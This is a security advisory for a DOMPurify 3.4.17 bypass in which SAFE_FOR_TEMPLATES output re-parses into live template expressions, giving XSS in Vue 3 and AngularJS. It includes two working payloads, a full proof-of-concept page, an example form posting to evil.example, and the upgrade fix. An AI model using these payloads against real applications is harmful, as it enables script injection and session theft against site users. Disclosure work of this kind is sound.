DOMPURIFY · GHSA-qm7q-q8h9-jg8q · Package
FIX → 3.4.18
With SAFE_FOR_TEMPLATES enabled, DOMPurify can return markup that contains no template braces but turns into a live {{...}} expression when assigned to innerHTML. A template engine that then compiles that DOM, such as Vue 3 in-DOM templates or AngularJS 1.x, runs the attacker's JavaScript.
first public Nov 14, 2026 · 1 source
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Applications that sanitize untrusted HTML with SAFE_FOR_TEMPLATES set to true, insert the result into the page through innerHTML, and then have a template engine such as Vue 3 in-DOM templates or AngularJS compile that DOM. The attacker needs only to submit markup such as a comment or profile field. Applications that do not use SAFE_FOR_TEMPLATES or do not compile sanitized output with a template engine are not exposed by this path.
Not affected if no-innerhtml-sink, no-template-engine, safe-for-templates-off
Who cares angularjs, browser, dompurify, javascript, vue
npm ls dompurify and look for any version below 3.4.18.SAFE_FOR_TEMPLATES and confirm whether it is set to true.innerHTML and then compiled by Vue 3 in-DOM templates or AngularJS.With SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.17 returns strings that contain no {{ or }}, but which turn into a live {{…}} expression as soon as the string is assigned to innerHTML. A template engine that then compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.
The attacker controls only the markup passed to sanitize(). The only configuration required is SAFE_FOR_TEMPLATES: true, which is a protective option, and the application uses it for its documented purpose. There are two independent variants.
Both variants reproduce on Chromium 156, Firefox 157 and WebKit 27.2. The plain {{…}} case and the "expression split by a removed element" case are still correctly scrubbed, so this is a gap in the existing protection, not a missing feature.
SAFE_FOR_TEMPLATES scrubbing happens in two places, and neither accounts for how the returned string is parsed a second time by the consumer.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
Upgrade to 3.4.18
dompurify 3.4.18 (fixed version; affected below 3.4.18)Per text node, during the walk (src/purify.ts, around line 2396):
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
const content = _stripTemplateExpressions(currentNode.textContent);
...
On the final serialized string (src/purify.ts, around line 3273):
if (SAFE_FOR_TEMPLATES) {
serializedHTML = _stripTemplateExpressions(serializedHTML);
}
Both use the expressions in src/regexp.ts, e.g. MUSTACHE_EXPR = /{{[\w\W]*|^[\w\W]*}}/g.
<form> collapses on reparseInput:
<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}
On the first parse, </form> clears the parser's form element pointer while the <div> is still open, so the second <form> is accepted as a child of the <div>. The DOM has three separate text nodes: {, {…} and }. None of them contains {{ or }}, so the per-node scrub does nothing.
Serialized output:
<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>
The string has no {{ or }} either (a <form> tag sits between the braces), so the final string scrub also passes.
When the consumer assigns this to innerHTML, the HTML parser ignores the inner <form> start tag because a form is already open. The three text fragments become adjacent and merge into one text node:
{{constructor.constructor('alert(1)')()}}
Input:
<b><i>}<x></x>}{</i>{constructor.constructor('alert(1)')()}</b>}
After the disallowed <x> is removed, the serialized string is <b><i>}}{</i>{…}</b>}. The ^[\w\W]*}} branch of MUSTACHE_EXPR then deletes everything from the start of the string through }}, which removes the <b><i> start tags but leaves their end tags.
Output:
{</i>{constructor.constructor('alert(1)')()}</b>}
On reparse the orphaned </i> and </b> are dropped, and the text merges into {{constructor.constructor('alert(1)')()}}.
The same regex-over-markup behaviour can also cut closing tags from the end of the output (the {{[\w\W]* branch). For example <form action="https://evil.example/collect"><input name=q>{<x></x>{</form><p>after</p> returns <form action="https://evil.example/collect"><input name="q"> with no </form>.
The scrub treats "no expression in any text node" and "no expression in the serialized string" as sufficient, but the guarantee users need is "no expression in any text node after the output is parsed again". Possible fixes:
{ / } at text-node boundaries as unsafe when the adjacent sibling's text starts or ends with a brace.Tested with DOMPurify 3.4.17 (npm latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.
Configuration: { SAFE_FOR_TEMPLATES: true }, nothing else.
Save as poc.html and open it in a browser. Use poc.html?v=2 for the second variant.
<!doctype html>
<meta charset="utf-8">
<script src="https://unpkg.com/dompurify@3.4.17/dist/purify.js"></script>
<script src="https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js"></script>
<script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script>
<div id="vue-host"><div class="comment"></div></div>
<div id="ng-host"><div class="comment"></div></div>
<pre id="log"></pre>
<script>
const log = (m) => (document.getElementById('log').textContent += m + '\n');
window.xss = (tag) => log('EXECUTED: ' + tag);
const cfg = { SAFE_FOR_TEMPLATES: true };
// 1 = nested form, 2 = orphaned end tags
const variant = new URLSearchParams(location.search).get('v') === '2' ? 2 : 1;
const wrap = (expr) => variant === 1
? `<form><div>{</form><form>{${expr}}</form>}`
: `<b><i>}<x></x>}{</i>{${expr}}</b>}`;
// Vue 3 (in-DOM template)
const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss("vue")')()`), cfg);
log('vue clean: ' + cleanVue);
document.querySelector('#vue-host .comment').innerHTML = cleanVue;
Vue.createApp({}).mount('#vue-host');
// AngularJS 1.8.3
const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss("ng")')()`), cfg);
log('ng clean : ' + cleanNg);
document.querySelector('#ng-host .comment').innerHTML = cleanNg;
angular.bootstrap(document.getElementById('ng-host'), []);
</script>
Expected: the sanitized strings contain no live expression and nothing executes.
Actual (variant 1):
vue clean: <form><div>{<form>{$emit.constructor('xss("vue")')()}</form>}</div></form>
EXECUTED: vue
ng clean : <form><div>{<form>{constructor.constructor('xss("ng")')()}</form>}</div></form>
EXECUTED: ng
Actual (variant 2):
vue clean: {</i>{$emit.constructor('xss("vue")')()}</b>}
EXECUTED: vue
ng clean : {</i>{constructor.constructor('xss("ng")')()}</b>}
EXECUTED: ng
Controls that are still scrubbed correctly with the same config:
<p>{{constructor.constructor('alert(1)')()}}</p> returns <p> </p><div>{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}</div> returns </div>Server-side: with DOMPurify 3.4.17 on jsdom 27.0.1, both payloads return the same strings, and parsing those strings yields a single text node containing {{constructor.constructor('alert(1)')()}}.
Cross-site scripting through client-side template injection.
Affected: applications that sanitize untrusted HTML with SAFE_FOR_TEMPLATES: true, place the result in the DOM through an HTML sink such as innerHTML, and then have a template engine compile that DOM. Verified with Vue 3 in-DOM templates and AngularJS 1.x; other mustache-style engines that compile existing DOM are likely affected in the same way.
An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the origin of the page for every user who views it, with the usual consequences: session theft, actions on behalf of the victim, and content manipulation.